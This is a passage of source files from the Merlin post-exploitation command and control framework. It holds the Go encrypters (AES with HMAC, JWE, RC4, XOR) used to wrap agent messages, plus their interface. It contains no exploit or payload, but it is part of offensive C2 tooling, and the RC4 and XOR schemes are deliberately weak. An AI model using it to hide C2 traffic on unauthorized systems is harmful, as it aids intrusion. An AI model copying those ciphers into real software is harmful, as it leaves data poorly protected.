    "content": "/*\nMerlin is a post-exploitation command and control framework.\n\nThis file is part of Merlin.\nCopyright (C) 2024 Russel Van Tuyl\n\nMerlin is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\nany later version.\n\nMerlin is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with Merlin.  If not, see <http://www.gnu.org/licenses/>.\n*/\n\n// Package aes encrypts/decrypts Agent messages\npackage aes\n\nimport (\n\t// Standard\n\t\"bytes\"\n\t\"crypto/aes\"\n\t\"crypto/cipher\"\n\t\"crypto/hmac\"\n\t\"crypto/rand\"\n\t\"crypto/sha256\"\n\t\"fmt\"\n\t\"io\"\n)\n\ntype Encrypter struct {\n}\n\n// NewEncrypter is a factory to return a structure that implements the Transformer interface\nfunc NewEncrypter() *Encrypter {\n\treturn &Encrypter{}\n}\n\n// Construct takes data in data, AES encrypts it with the provided key, and returns that data as bytes\nfunc (e *Encrypter) Construct(data any, key []byte) ([]byte, error) {\n\tswitch data.(type) {\n\tcase []uint8:\n\t\treturn encrypt(data.([]byte), key)\n\tdefault:\n\t\treturn nil, fmt.Errorf(\"transformers/encrypters/aes unhandled data type for Construct(): %T\", data)\n\t}\n}\n\n// Deconstruct takes in AES encrypted data, decrypts it with the provided key, and returns the data as bytes\nfunc (e *Encrypter) Deconstruct(data, key []byte) (any, error) {\n\treturn decrypt(data, key)\n}\n\n// encrypt reads in plaintext data as aa byte slice, encrypts it with the client's secret key, and returns the ciphertext\nfunc encrypt(plaintext []byte, key []byte) ([]byte, error) {\n\t// Pad plaintext\n\tpadding := aes.BlockSize - len(plaintext)%aes.BlockSize\n\tpadtext := bytes.Repeat([]byte{byte(padding)}, padding)\n\tplaintext = append(plaintext, padtext...)\n\n\tif len(plaintext)%aes.BlockSize != 0 {\n\t\treturn nil, fmt.Errorf(\"plaintext size: %d is not a multiple of the block size: %d\", len(plaintext), aes.BlockSize)\n\t}\n\n\t// AES only takes 16, 24, or 32 byte keys\n\tif len(key) > 32 {\n\t\ttemp := sha256.Sum256(key)\n\t\tkey = temp[:]\n\t}\n\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"transformers/encrypters/aes.encrypt(): %s\", err)\n\t}\n\n\tciphertext := make([]byte, aes.BlockSize+len(plaintext))\n\tiv := ciphertext[:aes.BlockSize]\n\tif _, err := io.ReadFull(rand.Reader, iv); err != nil {\n\t\treturn nil, err\n\t}\n\n\t// AES CBC Encrypt\n\tcbc := cipher.NewCBCEncrypter(block, iv)\n\tcbc.CryptBlocks(ciphertext[aes.BlockSize:], plaintext)\n\n\t// HMAC\n\thash := hmac.New(sha256.New, key)\n\t_, err = hash.Write(ciphertext)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"there was an error in the aesEncrypt function writing the HMAC:\\r\\n%s\", err)\n\t}\n\n\t// IV + Ciphertext + HMAC\n\treturn append(ciphertext, hash.Sum(nil)...), nil\n}\n\n// decrypt reads in ciphertext data as a byte slice, decrypts it with the client's secret key, and returns the plaintext\nfunc decrypt(ciphertext []byte, key []byte) ([]byte, error) {\n\tvar block cipher.Block\n\tvar err error\n\n\t// AES only takes 16, 24, or 32 byte keys\n\tif len(key) > 32 {\n\t\ttemp := sha256.Sum256(key)\n\t\tkey = temp[:]\n\t}\n\n\tif block, err = aes.NewCipher(key); err != nil {\n\t\treturn nil, fmt.Errorf(\"transformers/encrypters/aes.decrypt(): %s\", err)\n\t}\n\n\tif len(ciphertext) < aes.BlockSize {\n\t\treturn nil, fmt.Errorf(\"ciphertext was not greater than the AES block size\")\n\t}\n\tif len(ciphertext) < 32+aes.BlockSize {\n\t\treturn nil, fmt.Errorf(\"ciphertext not long enough to contain a hash\")\n\t}\n\n\t// IV + Ciphertext + HMAC\n\tiv := ciphertext[:aes.BlockSize]        // First 16 bytes\n\thash := ciphertext[len(ciphertext)-32:] // Last\n\tciphertext = ciphertext[aes.BlockSize : len(ciphertext)-32]\n\n\t// Verify encrypted data is a multiple of the block size\n\tif len(ciphertext)%aes.BlockSize != 0 {\n\t\treturn nil, fmt.Errorf(\"ciphertext was not a multiple of the AES block size\")\n\t}\n\n\t// Verify the HMAC hash\n\th := hmac.New(sha256.New, key)\n\t_, err = h.Write(append(iv, ciphertext...))\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"there was an error in the aesDecrypt function writing the HMAC:\\r\\n%s\", err)\n\t}\n\tif !hmac.Equal(h.Sum(nil), hash) {\n\t\treturn nil, fmt.Errorf(\"there was an error validating the AES HMAC hash, expected: %x but got: %x\", h.Sum(nil), hash)\n\t}\n\n\t// AES CBC Decrypt\n\tcbc := cipher.NewCBCDecrypter(block, iv)\n\tcbc.CryptBlocks(ciphertext, ciphertext)\n\n\t// Remove padding\n\tciphertext = ciphertext[:(len(ciphertext) - int(ciphertext[len(ciphertext)-1]))]\n\n\treturn ciphertext, nil\n}\n\nfunc (e *Encrypter) String() string {\n\treturn \"aes\"\n}\n"
  },
  {
    "path": "transformers/encrypters/jwe/jwe.go",
    "content": "/*\nMerlin is a post-exploitation command and control framework.\n\nThis file is part of Merlin.\nCopyright (C) 2024 Russel Van Tuyl\n\nMerlin is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\nany later version.\n\nMerlin is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with Merlin.  If not, see <http://www.gnu.org/licenses/>.\n*/\n\n// Package jwe encrypts/decrypts Agent messages to/from JSON Web Encryption compact serialization format\npackage jwe\n\nimport (\n\t// Standard\n\t\"fmt\"\n\n\t// 3rd Party\n\t\"github.com/go-jose/go-jose/v3\"\n)\n\ntype Encrypter struct {\n}\n\n// NewEncrypter is a factory to return a structure that implements the Transformer interface\nfunc NewEncrypter() *Encrypter {\n\treturn &Encrypter{}\n}\n\n// Construct takes data in data, encrypts it using PBES2 (RFC 2898) with HMAC SHA-512 as the PRF and\n// AES Key Wrap (RFC 3394) using 256-bit keys for the encryption scheme. The data is then transformed into a\n// JSON Web Encryption (JWE) object and serializes it using the compact serialization format to string that is returned\n// as bytes.\n// PBES2 uses Password-Based Key Derivation Function 2 (PBKDF2) with a hard-coded 3000 rounds (iterations)\nfunc (e *Encrypter) Construct(data any, key []byte) ([]byte, error) {\n\tswitch data.(type) {\n\tcase []uint8:\n\t\treturn e.encrypt(data.([]byte), key)\n\tdefault:\n\t\treturn nil, fmt.Errorf(\"pkg/encrypters/jwe unhandled data type for Construct(): %T\", data)\n\t}\n}\n\n// Deconstruct takes in a JSON Web Encryption (JWE) object in the compact serialization format as bytes, decrypts it,\n// and returns it that data as bytes\nfunc (e *Encrypter) Deconstruct(data, key []byte) (any, error) {\n\t// Parse JWE string back into JSONWebEncryption\n\tjwe, err := jose.ParseEncrypted(string(data))\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"there was an error parseing the JWE string into a JSONWebEncryption object: %s\", err)\n\t}\n\n\t// Decrypt the JWE\n\treturn jwe.Decrypt(key)\n}\n\n// encrypt takes data in data, encrypts it using PBES2 (RFC 2898) with HMAC SHA-512 as the PRF and\n// AES Key Wrap (RFC 3394) using 256-bit keys for the encryption scheme. The data is then transformed into a\n// JSON Web Encryption (JWE) object and serializes it using the compact serialization format to string that is returned\n// as bytes.\n// PBES2 uses Password-Based Key Derivation Function 2 (PBKDF2) with a hard-coded 3000 rounds (iterations)\nfunc (e *Encrypter) encrypt(data, key []byte) ([]byte, error) {\n\t//   Keys used with AES GCM must follow the constraints in Section 8.3 of\n\t//   [NIST.800-38D], which states: \"The total number of invocations of the\n\t//   authenticated encryption function shall not exceed 2^32, including\n\t//   all IV lengths and all instances of the authenticated encryption\n\t//   function with the given key\".  In accordance with this rule, AES GCM\n\t//   MUST NOT be used with the same key value more than 2^32 times. == 4294967296\n\n\tenc, err := jose.NewEncrypter(jose.A256GCM,\n\t\tjose.Recipient{\n\t\t\tAlgorithm: jose.PBES2_HS512_A256KW, // Creates a per message key encrypted with the passed in key\n\t\t\t//Algorithm: jose.DIRECT, // Doesn't create a per message key\n\t\t\t// https://datatracker.ietf.org/doc/html/rfc7518#section-4.8.1.2\n\t\t\t// A minimum iteration count of 1000 is RECOMMENDED.\n\t\t\tPBES2Count: 3000,\n\t\t\tKey:        key},\n\t\tnil)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"there was an error creating the JWE encryptor:\\r\\n%s\", err)\n\t}\n\n\t// Encrypt the data into a JWE\n\tjwe, err := enc.Encrypt(data)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"there was an error encrypting the Authentication JSON object to a JWE object:\\r\\n%s\", err)\n\t}\n\n\t// Serialize the data into a string\n\tserialized, err := jwe.CompactSerialize()\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"there was an error serializing the JWE in compact format:\\r\\n%s\", err)\n\t}\n\n\t// Parse it to make sure there were no errors serializing it\n\t_, err = jose.ParseEncrypted(serialized)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"there was an error parsing the encrypted JWE:\\r\\n%s\", err)\n\t}\n\n\treturn []byte(serialized), nil\n}\n\n// String returns a string representation of the encrypter type\nfunc (e *Encrypter) String() string {\n\treturn \"jwe\"\n}\n"
  },
  {
    "path": "transformers/encrypters/rc4/rc4.go",
    "content": "/*\nMerlin is a post-exploitation command and control framework.\n\nThis file is part of Merlin.\nCopyright (C) 2024 Russel Van Tuyl\n\nMerlin is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\nany later version.\n\nMerlin is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with Merlin.  If not, see <http://www.gnu.org/licenses/>.\n*/\n\n// Package rc4 encrypts/decrypts Agent messages\npackage rc4\n\nimport (\n\t\"crypto/rc4\" // #nosec G503 intentionally using rc4 knowing it is insecure\n\t\"fmt\"\n)\n\n// Encrypter is the structure that implements the Transformer interface for RC4 encrypting/decryption\ntype Encrypter struct {\n}\n\n// NewEncrypter is a factory to return a structure that implements the Transformer interface\nfunc NewEncrypter() *Encrypter {\n\treturn &Encrypter{}\n}\n\n// Construct takes data in data, RC4 encrypts it with the provided key, and returns that data as bytes\nfunc (e *Encrypter) Construct(data any, key []byte) (retData []byte, err error) {\n\tswitch data.(type) {\n\tcase []uint8:\n\t\treturn xor(data.([]byte), key)\n\tdefault:\n\t\treturn nil, fmt.Errorf(\"pkg/encrypters/rc4 unhandled data type for Construct(): %T\", data)\n\t}\n}\n\n// Deconstruct takes in RC4 encrypted data, decrypts it with the provided key, and returns the data as bytes\nfunc (e *Encrypter) Deconstruct(data, key []byte) (any, error) {\n\treturn xor(data, key)\n}\n\nfunc xor(data, key []byte) (retData []byte, err error) {\n\tretData = make([]byte, len(data))\n\tcipher, err := rc4.NewCipher(key) // #nosec G401 intentionally using rc4 knowing it is insecure\n\tif err != nil {\n\t\treturn []byte{}, fmt.Errorf(\"pkg/transformer/encrypters/rc4.Construct(): there was an error getting an RC4 cipher: %s\", err)\n\t}\n\tcipher.XORKeyStream(retData, data)\n\treturn\n}\n\n// String returns the name of the encrypter\nfunc (e *Encrypter) String() string {\n\treturn \"rc4\"\n}\n"
  },
  {
    "path": "transformers/encrypters/xor/xor.go",
    "content": "/*\nMerlin is a post-exploitation command and control framework.\n\nThis file is part of Merlin.\nCopyright (C) 2024 Russel Van Tuyl\n\nMerlin is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\nany later version.\n\nMerlin is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with Merlin.  If not, see <http://www.gnu.org/licenses/>.\n*/\n\n// Package xor encrypts/decrypts Agent messages\npackage xor\n\nimport (\n\t\"fmt\"\n)\n\n// Encrypter is the structure that implements the Transformer interface for XOR encrypting/decryption\ntype Encrypter struct {\n}\n\n// NewEncrypter is a factory to return a structure that implements the Transformer interface\nfunc NewEncrypter() *Encrypter {\n\treturn &Encrypter{}\n}\n\n// Construct takes data in data, AES encrypts it with the provided key, and returns that data as bytes\nfunc (e *Encrypter) Construct(data any, key []byte) ([]byte, error) {\n\tswitch data.(type) {\n\tcase []uint8:\n\t\treturn xor(data.([]byte), key)\n\tdefault:\n\t\treturn nil, fmt.Errorf(\"pkg/encrypters/aes unhandled data type for Construct(): %T\", data)\n\t}\n}\n\n// Deconstruct takes in AES encrypted data, decrypts it with the provided key, and returns the data as bytes\nfunc (e *Encrypter) Deconstruct(data, key []byte) (any, error) {\n\treturn xor(data, key)\n}\n\nfunc xor(data, key []byte) (retData []byte, err error) {\n\tretData = make([]byte, len(data))\n\tfor k, v := range data {\n\t\tretData[k] = v ^ key[k%len(key)]\n\t}\n\treturn\n}\n\n// String returns the name of the encrypter\nfunc (e *Encrypter) String() string {\n\treturn \"xor\"\n}\n"
  },
  {
    "path": "transformers/transformer.go",
    "content": "/*\nMerlin is a post-exploitation command and control framework.\n\nThis file is part of Merlin.\nCopyright (C) 2024 Russel Van Tuyl\n\nMerlin is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\nany later version.\n\nMerlin is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with Merlin.  If not, see <http://www.gnu.org/licenses/>.\n*/\n\n// Package transformer provides encoding and encryption methods to transform Agent messages\npackage transformer\n\n// Transformer is an interface used to transform Agent message data from one format to the next through encoding or encryption\ntype Transformer interface {\n\tConstruct(data any, key []byte) ([]byte, error)\n\tDeconstruct(data, key []byte) (any, error)\n\tString() string\n}\n"
  }
]